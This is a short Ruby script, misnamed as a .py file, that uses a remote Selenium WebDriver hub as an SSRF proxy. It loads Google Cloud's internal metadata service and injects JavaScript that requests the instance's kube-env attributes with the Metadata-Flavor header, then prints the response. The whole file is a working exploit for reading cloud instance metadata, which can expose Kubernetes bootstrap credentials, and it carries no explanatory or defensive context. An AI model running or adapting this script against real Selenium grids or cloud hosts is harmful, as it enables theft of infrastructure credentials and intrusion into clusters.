selenium_google_metadata_ssrf.py

selenium_google_metadata_ssrf.py

require 'selenium-webdriver'

@host = "http://metadata.google.internal/computeMetadata/v1/instance/"

  def setup
    @driver = Selenium::WebDriver.for(
      :remote,
      url: 'https://SELENIUM_URL/wd/hub',
      desired_capabilities: :chrome)
  end

  def teardown
    @driver.quit
  end

  def run
    setup
    yield
    teardown
  end

  def script
    return <<-JS
    const Http = new XMLHttpRequest();
    const url='/computeMetadata/v1/instance/attributes/kube-env';
    Http.open("GET", url);
    Http.setRequestHeader('Metadata-Flavor', 'Google')
    Http.send();

    Http.onreadystatechange = (e) => {
      document.write(Http.responseText)
    };
    JS
  end

  run do
    @driver.get @host
    @driver.execute_script(script)
    puts @driver.page_source
  end